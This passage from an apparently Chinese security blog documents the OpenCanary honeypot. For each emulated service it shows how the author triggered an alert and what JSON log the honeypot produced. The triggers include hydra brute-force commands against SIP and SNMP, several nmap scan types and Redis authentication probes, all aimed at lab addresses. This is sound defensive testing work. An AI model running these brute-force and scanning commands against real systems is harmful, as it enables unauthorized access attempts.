id="日志格式-4"><a href="#日志格式-4" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;dst_host&quot;: &quot;172.18.200.58&quot;, &quot;dst_port&quot;: 3306, &quot;local_time&quot;: &quot;2019-01-07 13:58:25.922257&quot;, &quot;logdata&quot;: &#123;&quot;PASSWORD&quot;: &quot;18076c09615de80ddb2903191b783714918b4c4f&quot;, &quot;USERNAME&quot;: &quot;root&quot;&#125;, &quot;logtype&quot;: 8001, &quot;node_id&quot;: &quot;opencanary-1&quot;, &quot;src_host&quot;: &quot;172.18.220.253&quot;, &quot;src_port&quot;: 46662&#125;</span><br></pre></td></tr></table></figure><h3 id="git协议"><a href="#git协议" class="headerlink" title="git协议"></a>git协议</h3><h4 id="触发方式-5"><a href="#触发方式-5" class="headerlink" title="触发方式"></a>触发方式</h4><p>git clone git://192.168.1.7:9418/tmp.git</p><h4 id="日志格式-5"><a href="#日志格式-5" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="number">9418</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-05 15:38:46.368627"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"HOST"</span>: <span class="string">"192.168.1.7:9418"</span>, <span class="attr">"REPO"</span>: <span class="string">"tmp.git"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">16001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.3"</span>, <span class="attr">"src_port"</span>: <span class="number">57606</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="NTP协议"><a href="#NTP协议" class="headerlink" title="NTP协议"></a>NTP协议</h3><h4 id="触发方式-6"><a href="#触发方式-6" class="headerlink" title="触发方式"></a>触发方式</h4><p>git clone git://192.168.1.7:9418/tmp.git</p><p>ntp监听的是udp的123端口</p><h4 id="日志格式-6"><a href="#日志格式-6" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"0.0.0.0"</span>, <span class="attr">"dst_port"</span>: <span class="number">123</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-05 15:58:52.075987"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"NTP CMD"</span>: <span class="string">"monlist"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">11001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="number">57886</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="redis"><a href="#redis" class="headerlink" title="redis"></a>redis</h3><h4 id="触发方式-7"><a href="#触发方式-7" class="headerlink" title="触发方式"></a>触发方式</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">(env) [root@honeypot Honeypot]<span class="comment"># redis-cli -h 192.168.1.7</span></span><br><span class="line">192.168.1.7:6379&gt; keys *</span><br><span class="line">(error) NOAUTH Authentication required.</span><br><span class="line">192.168.1.7:6379&gt; config get requirepass</span><br><span class="line">(error) ERR unknown <span class="built_in">command</span> <span class="string">'config'</span></span><br><span class="line">192.168.1.7:6379&gt; auth admin</span><br><span class="line">(error) ERR invalid password</span><br><span class="line">192.168.1.7:6379&gt;</span><br></pre></td></tr></table></figure><h4 id="日志格式-7"><a href="#日志格式-7" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="number">6379</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-05 16:05:11.637269"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"ARGS"</span>: <span class="string">""</span>, <span class="attr">"CMD"</span>: <span class="string">"COMMAND"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">17001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="number">34471</span>&#125;</span><br></pre></td></tr></table></figure><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="number">6379</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-05 16:08:14.786249"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"ARGS"</span>: <span class="string">"*"</span>, <span class="attr">"CMD"</span>: <span class="string">"KEYS"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">17001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="number">34471</span>&#125;</span><br></pre></td></tr></table></figure><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="number">6379</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-05 16:09:36.418200"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"ARGS"</span>: <span class="string">"get requirepass"</span>, <span class="attr">"CMD"</span>: <span class="string">"CONFIG"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">17001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="number">34471</span>&#125;</span><br></pre></td></tr></table></figure><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="number">6379</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-05 16:10:09.802402"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"ARGS"</span>: <span class="string">"admin"</span>, <span class="attr">"CMD"</span>: <span class="string">"AUTH"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">17001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="number">34471</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="TCP-Banner"><a href="#TCP-Banner" class="headerlink" title="TCP Banner"></a>TCP Banner</h3><h4 id="触发方式-8"><a href="#触发方式-8" class="headerlink" title="触发方式"></a>触发方式</h4><p>telnet 192.168.1.6 8001</p><h4 id="日志格式-8"><a href="#日志格式-8" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"dst_port"</span>: <span class="number">8001</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-05 17:18:51.601478"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"BANNER_ID"</span>: <span class="string">"1"</span>, <span class="attr">"DATA"</span>: <span class="string">""</span>, <span class="attr">"FUNCTION"</span>: <span class="string">"CONNECTION_MADE"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">18002</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.3"</span>, <span class="attr">"src_port"</span>: <span class="number">59176</span>&#125;</span><br></pre></td></tr></table></figure><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"dst_port"</span>: <span class="number">8001</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-05 17:19:12.996007"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"BANNER_ID"</span>: <span class="string">"1"</span>, <span class="attr">"DATA"</span>: <span class="string">""</span>, <span class="attr">"FUNCTION"</span>: <span class="string">"DATA_RECEIVED"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">18004</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.3"</span>, <span class="attr">"src_port"</span>: <span class="number">59176</span>&#125;</span><br></pre></td></tr></table></figure><p>LOG_TCP_BANNER_CONNECTION_MADE              = 18001<br>LOG_TCP_BANNER_KEEP_ALIVE_CONNECTION_MADE   = 18002<br>LOG_TCP_BANNER_KEEP_ALIVE_SECRET_RECEIVED   = 18003<br>LOG_TCP_BANNER_KEEP_ALIVE_DATA_RECEIVED     = 18004<br>LOG_TCP_BANNER_DATA_RECEIVED                = 18005</p><h3 id="VNC"><a href="#VNC" class="headerlink" title="VNC"></a>VNC</h3><h4 id="触发方式-9"><a href="#触发方式-9" class="headerlink" title="触发方式"></a>触发方式</h4><p>我在mac电脑上用vnc viewer连接</p><h4 id="日志格式-9"><a href="#日志格式-9" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="number">5000</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-06 08:21:28.951940"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"VNC Client Response"</span>: <span class="string">"58c00be9ee5b7f3b666771dd2bda9309"</span>, <span class="attr">"VNC Password"</span>: <span class="string">"&lt;Password was not in the common list&gt;"</span>, <span class="attr">"VNC Server Challenge"</span>: <span class="string">"953e2dff7e4d3a3114527c282817ce1d"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">12001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="number">54634</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="RDP"><a href="#RDP" class="headerlink" title="RDP"></a>RDP</h3><h4 id="触发方式-10"><a href="#触发方式-10" class="headerlink" title="触发方式"></a>触发方式</h4><p>我在mac电脑上用Microsoft Remote Desktop Beta.app连接</p><h4 id="日志格式-10"><a href="#日志格式-10" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="number">3389</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-06 08:59:13.890934"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"DOMAIN"</span>: <span class="string">""</span>, <span class="attr">"HOSTNAME"</span>: <span class="string">"HelloHost"</span>, <span class="attr">"PASSWORD"</span>: <span class="string">"helloword"</span>, <span class="attr">"USERNAME"</span>: <span class="string">"administrator1"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">14001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="number">59955</span>&#125;</span><br></pre></td></tr></table></figure><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="number">3389</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-06 08:59:26.868856"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"INPUT"</span>: <span class="string">""</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">14001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="number">59955</span>&#125;</span><br></pre></td></tr></table></figure><p>windows console模式登录的会出现INPUT字段</p><h3 id="SIP"><a href="#SIP" class="headerlink" title="SIP"></a>SIP</h3><h4 id="触发方式-11"><a href="#触发方式-11" class="headerlink" title="触发方式"></a>触发方式</h4><p>hydra -l adminsip -p password 192.168.1.7 sip</p><h4 id="日志格式-11"><a href="#日志格式-11" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"0.0.0.0"</span>, <span class="attr">"dst_port"</span>: <span class="number">5060</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-06 09:55:12.578148"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"HEADERS"</span>: &#123;<span class="attr">"call-id"</span>: [<span class="string">"1337@192.168.1.7"</span>], <span class="attr">"content-length"</span>: [<span class="string">"0"</span>], <span class="attr">"cseq"</span>: [<span class="string">"1 REGISTER"</span>], <span class="attr">"from"</span>: [<span class="string">"&lt;sip:adminsip@192.168.1.7&gt;"</span>], <span class="attr">"to"</span>: [<span class="string">"&lt;sip:adminsip@192.168.1.7&gt;"</span>], <span class="attr">"via"</span>: [<span class="string">"SIP/2.0/UDP 10.0.2.15:46759;received=192.168.1.7"</span>]&#125;&#125;, <span class="attr">"logtype"</span>: <span class="number">15001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"src_port"</span>: <span class="number">46759</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="SNMP"><a href="#SNMP" class="headerlink" title="SNMP"></a>SNMP</h3><h4 id="触发方式-12"><a href="#触发方式-12" class="headerlink" title="触发方式"></a>触发方式</h4><p>hydra -p password 192.168.1.7 snmp</p><h4 id="日志格式-12"><a href="#日志格式-12" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"0.0.0.0"</span>, <span class="attr">"dst_port"</span>: <span class="number">161</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-06 11:17:27.266214"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"COMMUNITY_STRING"</span>: <span class="string">"password"</span>, <span class="attr">"REQUESTS"</span>: [<span class="string">"1.3.6.1.2.1.1.1"</span>]&#125;, <span class="attr">"logtype"</span>: <span class="number">13001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"src_port"</span>: <span class="number">47112</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="NMAP"><a href="#NMAP" class="headerlink" title="NMAP"></a>NMAP</h3><h4 id="OS探测触发方式"><a href="#OS探测触发方式" class="headerlink" title="OS探测触发方式"></a>OS探测触发方式</h4><p>sudo nmap -v -Pn -O 192.168.1.7</p><h4 id="日志格式-13"><a href="#日志格式-13" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="string">"21"</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-06 16:35:24.356080"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"FIN"</span>: <span class="string">""</span>, <span class="attr">"ID"</span>: <span class="string">"37499"</span>, <span class="attr">"IN"</span>: <span class="string">"eth1"</span>, <span class="attr">"LEN"</span>: <span class="string">"60"</span>, <span class="attr">"MAC"</span>: <span class="string">"08:00:27:da:4c:e2:6c:96:cf:dd:ee:bd:08:00"</span>, <span class="attr">"OUT"</span>: <span class="string">""</span>, <span class="attr">"PREC"</span>: <span class="string">"0x00"</span>, <span class="attr">"PROTO"</span>: <span class="string">"TCP"</span>, <span class="attr">"PSH"</span>: <span class="string">""</span>, <span class="attr">"RES"</span>: <span class="string">"0x00"</span>, <span class="attr">"SYN"</span>: <span class="string">""</span>, <span class="attr">"TOS"</span>: <span class="string">"0x00"</span>, <span class="attr">"TTL"</span>: <span class="string">"56"</span>, <span class="attr">"URG"</span>: <span class="string">""</span>, <span class="attr">"URGP"</span>: <span class="string">"0"</span>, <span class="attr">"WINDOW"</span>: <span class="string">"256"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">5002</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="string">"40098"</span>&#125;</span><br></pre></td></tr></table></figure><h4 id="SYN探测触发方式"><a href="#SYN探测触发方式" class="headerlink" title="SYN探测触发方式"></a>SYN探测触发方式</h4><p>sudo nmap -sS 192.168.1.7</p><h4 id="日志格式-14"><a href="#日志格式-14" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="string">"21"</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-06 16:35:24.190176"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"ID"</span>: <span class="string">"51918"</span>, <span class="attr">"IN"</span>: <span class="string">"eth1"</span>, <span class="attr">"LEN"</span>: <span class="string">"56"</span>, <span class="attr">"MAC"</span>: <span class="string">"08:00:27:da:4c:e2:6c:96:cf:dd:ee:bd:08:00"</span>, <span class="attr">"OUT"</span>: <span class="string">""</span>, <span class="attr">"PREC"</span>: <span class="string">"0x00"</span>, <span class="attr">"PROTO"</span>: <span class="string">"TCP"</span>, <span class="attr">"RES"</span>: <span class="string">"0x00"</span>, <span class="attr">"SYN"</span>: <span class="string">""</span>, <span class="attr">"TOS"</span>: <span class="string">"0x00"</span>, <span class="attr">"TTL"</span>: <span class="string">"58"</span>, <span class="attr">"URGP"</span>: <span class="string">"0"</span>, <span class="attr">"WINDOW"</span>: <span class="string">"512"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">5001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="string">"40088"</span>&#125;</span><br></pre></td></tr></table></figure><h4 id="FIN探测触发方式"><a href="#FIN探测触发方式" class="headerlink" title="FIN探测触发方式"></a>FIN探测触发方式</h4><p>sudo nmap -sF 192.168.1.7</p><h4 id="日志格式-15"><a href="#日志格式-15" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="string">"23"</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-06 16:46:18.336954"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"FIN"</span>: <span class="string">""</span>, <span class="attr">"ID"</span>: <span class="string">"29768"</span>, <span class="attr">"IN"</span>: <span class="string">"eth1"</span>, <span class="attr">"LEN"</span>: <span class="string">"40"</span>, <span class="attr">"MAC"</span>: <span class="string">"08:00:27:da:4c:e2:6c:96:cf:dd:ee:bd:08:00"</span>, <span class="attr">"OUT"</span>: <span class="string">""</span>, <span class="attr">"PREC"</span>: <span class="string">"0x00"</span>, <span class="attr">"PROTO"</span>: <span class="string">"TCP"</span>, <span class="attr">"RES"</span>: <span class="string">"0x00"</span>, <span class="attr">"TOS"</span>: <span class="string">"0x00"</span>, <span class="attr">"TTL"</span>: <span class="string">"59"</span>, <span class="attr">"URGP"</span>: <span class="string">"0"</span>, <span class="attr">"WINDOW"</span>: <span class="string">"1024"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">5005</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="string">"35116"</span>&#125;</span><br></pre></td></tr></table></figure><h4 id="XmasTree探测触发方式"><a href="#XmasTree探测触发方式" class="headerlink" title="XmasTree探测触发方式"></a>XmasTree探测触发方式</h4><p>sudo nmap -sX 192.168.1.7</p><h4 id="日志格式-16"><a href="#日志格式-16" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="string">"139"</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-06 16:48:46.225539"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"FIN"</span>: <span class="string">""</span>, <span class="attr">"ID"</span>: <span class="string">"19984"</span>, <span class="attr">"IN"</span>: <span class="string">"eth1"</span>, <span class="attr">"LEN"</span>: <span class="string">"40"</span>, <span class="attr">"MAC"</span>: <span class="string">"08:00:27:da:4c:e2:6c:96:cf:dd:ee:bd:08:00"</span>, <span class="attr">"OUT"</span>: <span class="string">""</span>, <span class="attr">"PREC"</span>: <span class="string">"0x00"</span>, <span class="attr">"PROTO"</span>: <span class="string">"TCP"</span>, <span class="attr">"PSH"</span>: <span class="string">""</span>, <span class="attr">"RES"</span>: <span class="string">"0x00"</span>, <span class="attr">"TOS"</span>: <span class="string">"0x00"</span>, <span class="attr">"TTL"</span>: <span class="string">"56"</span>, <span class="attr">"URG"</span>: <span class="string">""</span>, <span class="attr">"URGP"</span>: <span class="string">"0"</span>, <span class="attr">"WINDOW"</span>: <span class="string">"1024"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">5004</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="string">"50913"</span>&#125;</span><br></pre></td></tr></table></figure><h4 id="Null探测触发方式"><a href="#Null探测触发方式" class="headerlink" title="Null探测触发方式"></a>Null探测触发方式</h4><p>sudo nmap -sN 192.168.1.7</p><h4 id="日志格式-17"><a href="#日志格式-17" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"192.168.1.7"</span>, <span class="attr">"dst_port"</span>: <span class="string">"5060"</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-06 16:51:07.789903"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"ID"</span>: <span class="string">"26441"</span>, <span class="attr">"IN"</span>: <span class="string">"eth1"</span>, <span class="attr">"LEN"</span>: <span class="string">"40"</span>, <span class="attr">"MAC"</span>: <span class="string">"08:00:27:da:4c:e2:6c:96:cf:dd:ee:bd:08:00"</span>, <span class="attr">"OUT"</span>: <span class="string">""</span>, <span class="attr">"PREC"</span>: <span class="string">"0x00"</span>, <span class="attr">"PROTO"</span>: <span class="string">"TCP"</span>, <span class="attr">"RES"</span>: <span class="string">"0x00"</span>, <span class="attr">"TOS"</span>: <span class="string">"0x00"</span>, <span class="attr">"TTL"</span>: <span class="string">"50"</span>, <span class="attr">"URGP"</span>: <span class="string">"0"</span>, <span class="attr">"WINDOW"</span>: <span class="string">"1024"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">5003</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"192.168.1.6"</span>, <span class="attr">"src_port"</span>: <span class="string">"58015"</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="MSSQL"><a href="#MSSQL" class="headerlink" title="MSSQL"></a>MSSQL</h3><h4 id="mssql登录sql账户认证"><a href="#mssql登录sql账户认证" class="headerlink" title="mssql登录sql账户认证"></a>mssql登录sql账户认证</h4><p>SQLPro for MSSQL</p><h4 id="日志格式-18"><a href="#日志格式-18" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"172.18.200.58"</span>, <span class="attr">"dst_port"</span>: <span class="number">1433</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-07 09:04:58.690137"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"AppName"</span>: <span class="string">"SQLPro for MSSQL (hankinsoft.com)"</span>, <span class="attr">"CltIntName"</span>: <span class="string">"DB-Library"</span>, <span class="attr">"Database"</span>: <span class="string">"test"</span>, <span class="attr">"HostName"</span>: <span class="string">"Piroguehost"</span>, <span class="attr">"Language"</span>: <span class="string">"us_english"</span>, <span class="attr">"Password"</span>: <span class="string">"sa123456"</span>, <span class="attr">"ServerName"</span>: <span class="string">"172.18.200.58:1433"</span>, <span class="attr">"UserName"</span>: <span class="string">"sa"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">9001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"172.18.205.14"</span>, <span class="attr">"src_port"</span>: <span class="number">64344</span>&#125;</span><br></pre></td></tr></table></figure><h4 id="mssql登录win身份认证"><a href="#mssql登录win身份认证" class="headerlink" title="mssql登录win身份认证"></a>mssql登录win身份认证</h4><p>SQLPro for MSSQL</p><h4 id="日志格式-19"><a href="#日志格式-19" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"172.18.200.58"</span>, <span class="attr">"dst_port"</span>: <span class="number">1433</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-07 09:13:28.669829"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"PASSWORD"</span>: <span class="string">""</span>, <span class="attr">"USERNAME"</span>: <span class="string">""</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">9002</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"172.18.205.14"</span>, <span class="attr">"src_port"</span>: <span class="number">64499</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="HTTPPROXY"><a href="#HTTPPROXY" class="headerlink" title="HTTPPROXY"></a>HTTPPROXY</h3><h4 id="触发方式-13"><a href="#触发方式-13" class="headerlink" title="触发方式"></a>触发方式</h4><p>可以通过浏览器配置一个带有认证的http代理，随便访问一个链接。</p><h4 id="日志格式-20"><a href="#日志格式-20" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"172.18.200.58"</span>, <span class="attr">"dst_port"</span>: <span class="number">8080</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-07 13:26:47.761297"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"PASSWORD"</span>: <span class="string">"passsquid"</span>, <span class="attr">"USERNAME"</span>: <span class="string">"squidadmin"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">7001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"172.18.205.14"</span>, <span class="attr">"src_port"</span>: <span class="number">53798</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="SMB"><a href="#SMB" class="headerlink" title="SMB"></a>SMB</h3><p>暂时不搞了，因为要依赖系统真实的smb服务。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;关键代码&quot;&gt;&lt;a href=&quot;#关键代码&quot; class=&quot;headerlink&quot; title=&quot;关键代码&quot;&gt;&lt;/a&gt;关键代码&lt;/h2&gt;&lt;p&gt;opencanary/modules目录下为模拟的服务或协议脚本。&lt;br&gt;opencanary/logger.py 为日志生
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="安全建设" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
      <category term="甲方安全" scheme="http://pirogue.org/tags/%E7%94%B2%E6%96%B9%E5%AE%89%E5%85%A8/"/>
    
